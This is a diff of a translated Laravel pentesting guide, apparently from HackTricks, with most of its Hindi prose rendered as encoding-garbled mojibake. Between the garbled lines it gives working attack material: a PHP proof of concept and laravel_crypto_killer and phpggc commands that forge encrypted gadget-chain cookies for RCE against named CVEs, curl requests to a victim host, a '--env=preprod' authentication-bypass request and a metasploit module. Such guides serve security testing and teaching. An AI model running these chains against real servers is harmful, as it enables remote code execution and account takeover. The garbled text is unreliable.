-рдЗрд╕рд▓рд┐рдП **рдХреЛрдИ рднреА attacker рдЬреЛ 32-byte secret `APP_KEY` рдЬрд╛рдирддрд╛ рд╣реИ рд╡рд╣ рдПрдХ encrypted PHP serialized object рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ magic methods (`__wakeup`, `__destruct`, тАж) рдХреЗ рдЬрд░рд┐рдП RCE рд╣рд╛рд╕рд┐рд▓ рдХрд░ рд╕рдХрддрд╛ рд╣реИ**ред
+`encrypt($value, $serialize=true)` рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд╕рд╛рджрд╛-рдкрд╛рда рдХреЛ `serialize()` рдХрд░реЗрдЧрд╛, рдЬрдмрдХрд┐
+`decrypt($payload, $unserialize=true)` **рд╕реНрд╡рддрдГ `unserialize()`** рдХрд░реЗрдЧрд╛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдП рдЧрдП рдорд╛рди рдХреЛред
+рдЗрд╕рд▓рд┐рдП **рдХреЛрдИ рднреА рд╣рдорд▓рд╛рд╡рд░ рдЬреЛ 32-рдмрд╛рдЗрдЯ рдЧреБрдкреНрдд `APP_KEY` рдЬрд╛рдирддрд╛ рд╣реИ, рд╡рд╣ рдПрдХ encrypted PHP serialized object рддреИрдпрд╛рд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ magic methods (`__wakeup`, `__destruct`, тАж) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ RCE рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред**
-Minimal PoC (framework тЙе9.x):
+рдиреНрдпреВрдирддрдо PoC (framework тЙе9.x):
```php
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode(''); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
```
-рдЙрддреНрдкрдиреНрди рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛ рдХрд┐рд╕реА рднреА рдХрдордЬреЛрд░ `decrypt()` sink (route param, cookie, session, тАж) рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░реЗрдВред
+Inject рдЙрддреНрдкрдиреНрди рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛ рдХрд┐рд╕реА рднреА рдХрдордЬреЛрд░ `decrypt()` sink (route param, cookie, session, тАж) рдореЗрдВ рдбрд╛рд▓реЗрдВред
---
## laravel-crypto-killer ЁЯзи
-[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) рдкреВрд░реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдПрдХ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ **bruteforce** рдореЛрдб рдЬреЛрдбрд╝рддрд╛ рд╣реИ:
+[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) рдкреВрд░реЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдСрдЯреЛрдореЗрдЯ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдПрдХ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ **bruteforce** рдореЛрдб рдЬреЛрдбрд╝рддрд╛ рд╣реИ:
```bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:" -v "$(phpggc Laravel/RCE13 system id -b -f)"
@@ -51,21 +51,21 @@ The script transparently supports both CBC and GCM payloads and re-generates the
---
-## рд╡рд╛рд╕реНрддрд╡рд┐рдХ рджреБрдирд┐рдпрд╛ рдХреЗ рдХрдордЬреЛрд░ рдкреИрдЯрд░реНрди
+## рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдХрдордЬреЛрд░ рдкреИрдЯрд░реНрди
| Project | Vulnerable sink | Gadget chain |
|---------|-----------------|--------------|
| Invoice Ninja тЙдv5 (CVE-2024-55555) | `/route/{hash}` тЖТ `decrypt($hash)` | Laravel/RCE13 |
-| Snipe-IT тЙдv6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 |
+| Snipe-IT тЙдv6 (CVE-2024-48987) | `XSRF-TOKEN` cookie рдЬрдм `Passport::withCookieSerialization()` рд╕рдХреНрд╖рдо рд╣реЛ | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` тЖТ `laravel_session` cookie | Laravel/RCE15 |
-The exploitation workflow is always:
-1. 32-byte `APP_KEY` рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ рдпрд╛ рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ рдХрд░реЗрдВред
-2. **PHPGGC** рдХреЗ рд╕рд╛рде рдПрдХ gadget chain рдмрдирд╛рдПрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП `Laravel/RCE13`, `Laravel/RCE9` рдпрд╛ `Laravel/RCE15`)ред
-3. рд╕рд┐рд░реАрдпрд▓рд╛рдЗрдЬрд╝реНрдб gadget рдХреЛ **laravel_crypto_killer.py** рдФрд░ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд `APP_KEY` рд╕реЗ encrypt рдХрд░реЗрдВред
-4. рд╕рд┐рдлрд░рдЯреЗрдХреНрд╕реНрдЯ рдХреЛ рдХрдордЬреЛрд░ `decrypt()` sink (route parameter, cookie, session тАж) рдкрд░ рднреЗрдЬреЗрдВ рддрд╛рдХрд┐ **RCE** рдЯреНрд░рд┐рдЧрд░ рд╣реЛред
+рд╢реЛрд╖рдг рдХрд╛рд░реНрдпрдкреНрд░рд╡рд╛рд╣ рд╣рдореЗрд╢рд╛ рдпрд╣ рд╣реЛрддрд╛ рд╣реИ:
+1. 32-byte `APP_KEY` рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ рдпрд╛ brute-force рдХрд░реЗрдВред
+2. PHPGGC рдХреЗ рд╕рд╛рде рдПрдХ gadget chain рдмрдирд╛рдПрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП `Laravel/RCE13`, `Laravel/RCE9` рдпрд╛ `Laravel/RCE15`)ред
+3. serialized gadget рдХреЛ `laravel_crypto_killer.py` рдФрд░ рдкреНрд░рд╛рдкреНрдд `APP_KEY` рдХреЗ рд╕рд╛рде encrypt рдХрд░реЗрдВред
+4. ciphertext рдХреЛ vulnerable `decrypt()` sink (route parameter, cookie, session тАж) рдореЗрдВ рдкрд╣реБрдВрдЪрд╛рдХрд░ **RCE** рдЯреНрд░рд┐рдЧрд░ рдХрд░реЗрдВред
-рдиреАрдЪреЗ рд╕рдВрдХреНрд╖рд┐рдкреНрдд one-liners рджрд┐рдП рдЧрдП рд╣реИрдВ рдЬреЛ рдКрдкрд░ рдмрддрд╛рдП рдЧрдП рдкреНрд░рддреНрдпреЗрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ CVE рдХреЗ рд▓рд┐рдП рдкреВрд░рд╛ attack path рджрд┐рдЦрд╛рддреЗ рд╣реИрдВ:
+рдиреАрдЪреЗ рд╕рдВрдХреНрд╖рд┐рдкреНрдд one-liners рджрд┐рдП рдЧрдП рд╣реИрдВ рдЬреЛ рдКрдкрд░ рдмрддрд╛рдП рдЧрдП рдкреНрд░рддреНрдпреЗрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ CVE рдХреЗ рд▓рд┐рдП рдкреВрд░рд╛ attack path рджрд░реНрд╢рд╛рддреЗ рд╣реИрдВ:
```bash
# Invoice Ninja тЙд5 тАУ /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
@@ -82,38 +82,38 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k -v payload.bin --session_cookie= > forged.txt
curl -H "Cookie: laravel_session=; =$(cat forged.txt)" https://victim/login
```
-## рдмрдбрд╝реЗ рдкреИрдорд╛рдиреЗ рдкрд░ APP_KEY рдЦреЛрдЬ (cookie brute-force рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ)
+## Mass APP_KEY discovery via cookie brute-force
-рдХреНрдпреЛрдВрдХрд┐ рд╣рд░ рдирдП Laravel response рдХрдо рд╕реЗ рдХрдо 1 рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб cookie (`XSRF-TOKEN` рдФрд░ рдЖрдорддреМрд░ рдкрд░ `laravel_session`) рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИ, **public internet scanners (Shodan, Censys, тАж) leak millions of ciphertexts** рдЬреЛ offline рдореЗрдВ рд╣рдорд▓рд╛ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред
+рдХреНрдпреЛрдВрдХрд┐ рд╣рд░ рдирдпрд╛ Laravel response рдХрдо рд╕реЗ рдХрдо 1 encrypted cookie (`XSRF-TOKEN` рдФрд░ рд╕рд╛рдорд╛рдиреНрдпрддрдГ `laravel_session`) рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИ, **public internet scanners (Shodan, Censys, тАж) leak millions of ciphertexts** рдЬрд┐рдиреНрд╣реЗрдВ offline attack рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
-Synacktiv (2024-2025) рджреНрд╡рд╛рд░рд╛ рдкреНрд░рдХрд╛рд╢рд┐рдд рд░рд┐рд╕рд░реНрдЪ рдХреЗ рдореБрдЦреНрдп рдирд┐рд╖реНрдХрд░реНрд╖:
+Key findings of the research published by Synacktiv (2024-2025):
* Dataset July 2024 ┬╗ 580 k tokens, **3.99 % keys cracked** (тЙИ23 k)
* Dataset May 2025 ┬╗ 625 k tokens, **3.56 % keys cracked**
* >1 000 servers рдЕрднреА рднреА legacy CVE-2018-15133 рдХреЗ рдкреНрд░рддрд┐ vulnerable рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ tokens рд╕реАрдзреЗ serialized data contain рдХрд░рддреЗ рд╣реИрдВред
-* Huge key reuse тАУ Top-10 APP_KEYs hard-coded defaults рд╣реИрдВ рдЬреЛ commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, тАж) рдХреЗ рд╕рд╛рде shipped рд╣реЛрддреЗ рд╣реИрдВред
+* Huge key reuse тАУ Top-10 APP_KEYs рд╣рд╛рд░реНрдб-рдХреЛрдбреЗрдб defaults рд╣реИрдВ рдЬреЛ commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, тАж) рдХреЗ рд╕рд╛рде рдЖрддреЗ рд╣реИрдВред
-Private Go tool **nounours** AES-CBC/GCM bruteforce throughput рдХреЛ ~1.5 billion tries/s рддрдХ рдкрд╣реБрдВрдЪрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдкреВрд░реЗ dataset рдХрд╛ cracking <2 minutes рдореЗрдВ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред
+рдирд┐рдЬреА Go рдЯреВрд▓ **nounours** AES-CBC/GCM bruteforce throughput рдХреЛ ~1.5 billion tries/s рддрдХ рдмрдврд╝рд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдкреВрд░реЗ рдбреЗрдЯрд╛рд╕реЗрдЯ рдХрд╛ cracking <2 minutes рдореЗрдВ рд╕рдВрднрд╡ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред
## CVE-2024-52301 тАУ HTTP argv/env override тЖТ auth bypass
-рдЬрдм PHP рдХрд╛ `register_argc_argv=On` (рдХрдИ distros рдкрд░ typical) рд╣реЛрддрд╛ рд╣реИ, PHP query string рд╕реЗ derived HTTP requests рдХреЗ рд▓рд┐рдП рдПрдХ `argv` array expose рдХрд░рддрд╛ рд╣реИред рд╣рд╛рд▓рд┐рдпрд╛ Laravel versions рдЗрди тАЬCLI-likeтАЭ args рдХреЛ parse рдХрд░рддреЗ рдереЗ рдФрд░ runtime рдкрд░ `--env=` рдХреЛ рдорд╛рдирддреЗ рдереЗред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдЖрдк рдХреЗрд╡рд▓ рдЗрд╕реЗ рдХрд┐рд╕реА рднреА URL рдХреЗ рд╕рд╛рде рдЬреЛрдбрд╝рдХрд░ current HTTP request рдХреЗ рд▓рд┐рдП framework environment flip рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
+рдЬрдм PHP рдХрд╛ `register_argc_argv=On` (рдХрдИ distros рдкрд░ рд╕рд╛рдорд╛рдиреНрдп) рд╣реЛрддрд╛ рд╣реИ, PHP query string рд╕реЗ рдирд┐рдХрд▓реЗ HTTP requests рдХреЗ рд▓рд┐рдП рдПрдХ `argv` array expose рдХрд░рддрд╛ рд╣реИред рд╣рд╛рд▓ рдХреА Laravel versions рдЗрди тАЬCLI-likeтАЭ args рдХреЛ parse рдХрд░рддреА рдереАрдВ рдФрд░ runtime рдкрд░ `--env=` рдХреЛ рдорд╛рдирддреА рдереАрдВред рдЗрд╕рд╕реЗ рдХрд┐рд╕реА рднреА URL рдХреЗ рдЕрдВрдд рдореЗрдВ рдЗрд╕реЗ рдЬреЛрдбрд╝рдХрд░ current HTTP request рдХреЗ рд▓рд┐рдП framework environment рдХреЛ рдмрджрд▓рдирд╛ рд╕рдВрднрд╡ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ:
- Quick check:
-- Visit `https://target/?--env=local` рдпрд╛ рдХреЛрдИ рднреА string рдЦреЛрд▓реЗрдВ рдФрд░ environment-dependent рдкрд░рд┐рд╡рд░реНрддрди рджреЗрдЦреЗрдВ (debug banners, footers, verbose errors)ред рдпрджрд┐ string reflect рд╣реЛрддрд╛ рд╣реИ, рддреЛ override рдХрд╛рдо рдХрд░ рд░рд╣рд╛ рд╣реИред
+- Visit `https://target/?--env=local` рдпрд╛ рдХреЛрдИ рднреА string рдФрд░ environment-dependent рдмрджрд▓рд╛рд╡ рджреЗрдЦреЗрдВ (debug banners, footers, verbose errors). рдЕрдЧрд░ string reflected рд╣реЛрддреА рд╣реИ, рддреЛ override рдХрд╛рдо рдХрд░ рд░рд╣рд╛ рд╣реИред
- Impact example (business logic trusting a special env):
-- рдпрджрд┐ app рдореЗрдВ рдРрд╕реА branches рд╣реИрдВ рдЬреИрд╕реЗ `if (app()->environment('preprod')) { /* bypass auth */ }`, рддреЛ рдЖрдк valid creds рдХреЗ рдмрд┐рдирд╛ authenticate рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ login POST рднреЗрдЬрдХрд░:
+- рдЕрдЧрд░ рдРрдк рдореЗрдВ рдРрд╕реЗ branches рд╣реИрдВ рдЬреИрд╕реЗ `if (app()->environment('preprod')) { /* bypass auth */ }`, рддреЛ рдЖрдк рд╡реИрдз creds рдХреЗ рдмрд┐рдирд╛ authenticate рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдмрд╕ login POST рднреЗрдЬрдХрд░:
- `POST /login?--env=preprod`
- Notes:
-- рд╣рд░-request рдХреЗ рд▓рд┐рдП рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдХреЛрдИ persistence рдирд╣реАрдВред
-- Requires `register_argc_argv=On` рдФрд░ рдПрдХ vulnerable Laravel version рдЬреЛ HTTP рдХреЗ рд▓рд┐рдП argv рдкрдврд╝рддрд╛ рд╣реИред
-- рдПрдХ рдЙрдкрдпреЛрдЧреА primitive рд╣реИ рдЬреЛ тАЬdebugтАЭ envs рдореЗрдВ рдЕрдзрд┐рдХ verbose errors surface рдХрд░рдиреЗ рдпрд╛ environment-gated code paths trigger рдХрд░рдиреЗ рдореЗрдВ рдХрд╛рдо рдЖрддрд╛ рд╣реИред
+- Works per-request, no persistence.
+- Requires `register_argc_argv=On` and a vulnerable Laravel version that reads argv for HTTP.
+- Useful primitive to surface more verbose errors in тАЬdebugтАЭ envs or to trigger environment-gated code paths.
- Mitigations:
-- PHP-FPM/Apache рдХреЗ рд▓рд┐рдП `register_argc_argv` рдХреЛ Disable рдХрд░реЗрдВред
-- Laravel рдХреЛ upgrade рдХрд░реЗрдВ рддрд╛рдХрд┐ HTTP requests рдкрд░ argv ignore рдХрд┐рдпрд╛ рдЬрд╛рдП рдФрд░ production routes рдореЗрдВ `app()->environment()` рд╕реЗ рдЬреБрдбрд╝реА рдХрд┐рд╕реА рднреА trust assumption рдХреЛ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЬрд╛рдПред
+- PHP-FPM/Apache рдХреЗ рд▓рд┐рдП `register_argc_argv` рдХреЛ disable рдХрд░реЗрдВред
+- Laravel рдХреЛ upgrade рдХрд░реЗрдВ рддрд╛рдХрд┐ HTTP requests рдкрд░ argv ignore рдХрд░реЗ рдФрд░ production routes рдореЗрдВ `app()->environment()` рдкрд░ рдЖрдзрд╛рд░рд┐рдд рдХрд┐рд╕реА рднреА trust assumption рдХреЛ рд╣рдЯрд╛ рджреЗрдВред
Minimal exploitation flow (Burp):
```http
@@ -125,26 +125,26 @@ email=a@b.c&password=whatever&remember=0xdf
```
---
-## Laravel рдпреБрдХреНрддрд┐рдпрд╛рдБ
+## Laravel рдЯреНрд░рд┐рдХреНрд╕
### рдбрд┐рдмрдЧрд┐рдВрдЧ рдореЛрдб
-рдпрджрд┐ Laravel **debugging mode** рдореЗрдВ рд╣реИ рддреЛ рдЖрдк **code** рдФрд░ **sensitive data** рддрдХ рдкрд╣реБрдБрдЪ рдкрд╛рдПрдВрдЧреЗред\
+рдЕрдЧрд░ Laravel **рдбрд┐рдмрдЧрд┐рдВрдЧ рдореЛрдб** рдореЗрдВ рд╣реИ рддреЛ рдЖрдк **рдХреЛрдб** рдФрд░ **рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛** рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХреЗрдВрдЧреЗ.\
рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП `http://127.0.0.1:8000/profiles`:
.png>)
-рдпрд╣ рдЖрдорддреМрд░ рдкрд░ рдЕрдиреНрдп Laravel RCE CVEs рдХреЛ exploit рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реЛрддрд╛ рд╣реИред
+рдпрд╣ рдЖрдорддреМрд░ рдкрд░ рдЕрдиреНрдп Laravel RCE CVEs рдХреЛ exploiting рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реЛрддрд╛ рд╣реИред
-### рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯрд┐рдВрдЧ рдФрд░ рдЦреБрд▓реЗ dev endpoints
+### Fingerprinting & exposed dev endpoints
-Production рдореЗрдВ Laravel stack рдФрд░ рдЦрддрд░рдирд╛рдХ dev tooling рдХреЗ рдЦреБрд▓реЗ рд╣реЛрдиреЗ рдХреА рдкрд╣рдЪрд╛рди рдХреЗ рд▓рд┐рдП рддреНрд╡рд░рд┐рдд рдЬрд╛рдВрдЪреЗрдВ:
+Laravel рд╕реНрдЯреИрдХ рдФрд░ production рдореЗрдВ рдПрдХреНрд╕рдкреЛрдЬрд╝реНрдб рдЦрддрд░рдирд╛рдХ dev tooling рдХреА рдкрд╣рдЪрд╛рди рдХреЗ рд▓рд┐рдП рддреНрд╡рд░рд┐рдд рдЬрд╛рдВрдЪреЗрдВ:
-- `/_ignition/health-check` тЖТ Ignition рдореМрдЬреВрдж рд╣реИ (debug tool рдЬреЛ CVE-2021-3129 рдореЗрдВ рдЗрд╕реНрддреЗрдорд╛рд▓ рд╣реБрдЖ рдерд╛). рдпрджрд┐ рдмрд┐рдирд╛ authentication рдХреЗ рдкрд╣реБрдБрдЪрдиреЗ рдпреЛрдЧреНрдп рд╣реИ, рддреЛ рдРрдк debug рдореЛрдб рдореЗрдВ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ misconfigured рд╣реЛ рд╕рдХрддрд╛ рд╣реИред
-- `/_debugbar` тЖТ Laravel Debugbar assets; рдЕрдХреНрд╕рд░ debug рдореЛрдб рдХрд╛ рд╕рдВрдХреЗрдд рджреЗрддрд╛ рд╣реИред
-- `/telescope` тЖТ Laravel Telescope (dev monitor). рдпрджрд┐ public рд╣реИ, рддреЛ рд╡реНрдпрд╛рдкрдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рдЦреБрд▓рд╛рд╕реЗ рдФрд░ рд╕рдВрднрд╛рд╡рд┐рдд actions рдХреА рдЙрдореНрдореАрдж рдХрд░реЗрдВред
-- `/horizon` тЖТ Queue dashboard; рд╕рдВрд╕реНрдХрд░рдг рдХрд╛ рдЦреБрд▓рд╛рд╕рд╛ рдФрд░ рдХрднреА-рдХрднреА CSRF-рдкреНрд░реЛрдЯреЗрдХреНрдЯреЗрдб actionsред
-- `X-Powered-By`, cookies `XSRF-TOKEN` рдФрд░ `laravel_session`, рдФрд░ Blade error pages рднреА fingerprinting рдореЗрдВ рдорджрдж рдХрд░рддреЗ рд╣реИрдВред
+- `/_ignition/health-check` тЖТ Ignition рдореМрдЬреВрдж рд╣реИ (debug tool used by CVE-2021-3129). рдпрджрд┐ рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рд╣реИ, рддреЛ рдРрдк рдбрд┐рдмрдЧ рдпрд╛ misconfigured рд╣реЛ рд╕рдХрддрд╛ рд╣реИред
+- `/_debugbar` тЖТ Laravel Debugbar assets; рдЕрдХреНрд╕рд░ рдбрд┐рдмрдЧ рдореЛрдб рдХрд╛ рд╕рдВрдХреЗрдд рд╣реЛрддрд╛ рд╣реИред
+- `/telescope` тЖТ Laravel Telescope (dev monitor). рдпрджрд┐ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд╣реИ, рддреЛ рд╡реНрдпрд╛рдкрдХ рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдЦреБрд▓рд╛рд╕рд╛ рдФрд░ рд╕рдВрднрд╛рд╡рд┐рдд рдХреНрд░рд┐рдпрд╛рдПрдВ рдЕрдкреЗрдХреНрд╖рд┐рдд рд╣реИрдВред
+- `/horizon` тЖТ Queue dashboard; рд╕рдВрд╕реНрдХрд░рдг рдХрд╛ рдЦреБрд▓рд╛рд╕рд╛ рдФрд░ рдХрднреА-рдХрднреА CSRF-protected actionsред
+- `X-Powered-By`, cookies `XSRF-TOKEN` and `laravel_session`, and Blade error pages рднреА fingerprint рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддреЗ рд╣реИрдВред
```bash
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
@@ -153,9 +153,9 @@ for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https:/
```
### .env
-Laravel рдЙрд╕ APP рдХреЛ `.env` рдирд╛рдо рдХреА рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рд╣реЗрдЬрддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ cookies рдФрд░ рдЕрдиреНрдп credentials рдХреЛ encrypt рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдлрд╝рд╛рдЗрд▓ path traversal рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ `/../.env` рдХреЗ рддрд╣рдд рдПрдХреНрд╕реЗрд╕ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИред
+Laravel `.env` рдирд╛рдо рдХреА рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╡рд╣ APP рд╕рд╣реЗрдЬрддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ cookies рдФрд░ рдЕрдиреНрдп credentials рдХреЛ encrypt рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдХреБрдЫ path traversal рдХреЗ рдЬрд░рд┐рдП `/../.env` рдХреЗ рддрд╣рдд рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
-Laravel рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА debug page рдореЗрдВ рднреА рджрд┐рдЦрд╛рдПрдЧрд╛ (рдпрд╣ рддрдм рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИ рдЬрдм Laravel рдХреЛрдИ error рдкрд╛рддрд╛ рд╣реИ рдФрд░ рдпрд╣ рд╕рдХреНрд░рд┐рдп рд╣реЛрддрд╛ рд╣реИ)ред
+Laravel рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА debug page рдореЗрдВ рднреА рджрд┐рдЦрд╛рдПрдЧрд╛ (рдЬреЛ рддрдм рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИ рдЬрдм Laravel рдХрд┐рд╕реА error рдХреЛ рдкрд╛рддрд╛ рд╣реИ рдФрд░ рдпрд╣ рд╕рдХреНрд░рд┐рдп рд╣реЛрддрд╛ рд╣реИ)ред
Laravel рдХреЗ secret APP_KEY рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк cookies рдХреЛ decrypt рдФрд░ re-encrypt рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
@@ -220,11 +220,12 @@ encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2Swe
```
### Laravel Deserialization RCE
-рдкреНрд░рднрд╛рд╡рд┐рдд рд╕рдВрд╕реНрдХрд░рдг: 5.5.40 рдФрд░ 5.6.x рд╕реЗ 5.6.29 рддрдХ ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
+рдкреНрд░рднрд╛рд╡рд┐рдд рд╕рдВрд╕реНрдХрд░рдг: 5.5.40 рдФрд░ 5.6.x рд╕реЗ рд▓реЗрдХрд░ 5.6.29 рддрдХ ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
-рдЗрд╕ deserialization vulnerability рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдБ рдкрд╛рдИ рдЬрд╛ рд╕рдХрддреА рд╣реИ: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
+рдпрд╣рд╛рдБ рдЖрдк deserialization vulnerability рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
-рдЖрдк рдЗрд╕реЗ рдкрд░реАрдХреНрд╖рдг рдФрд░ exploit рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ рдпрд╛ рдЖрдк metasploit рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рднреА рдЗрд╕реЗ exploit рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: `use unix/http/laravel_token_unserialize_exec`
+рдЖрдк рдЗрд╕реЗ рдЯреЗрд╕реНрдЯ рдФрд░ exploit рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
+рдпрд╛ рдЖрдк рдЗрд╕реЗ metasploit рдХреЗ рд╕рд╛рде рднреА exploit рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: `use unix/http/laravel_token_unserialize_exec`
### CVE-2021-3129
@@ -232,7 +233,7 @@ encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2Swe
-## рд╕рдВрджрд░реНрдн
+## References
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [Laravel : analyse de fuite dтАЩAPP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
diff --git a/src/network-services-pentesting/pentesting-web/sitecore/README.md b/src/network-services-pentesting/pentesting-web/sitecore/README.md
index 857ad9674..2b93fc3d4 100644
--- a/src/network-services-pentesting/pentesting-web/sitecore/README.md
+++ b/src/network-services-pentesting/pentesting-web/sitecore/README.md
@@ -2,9 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
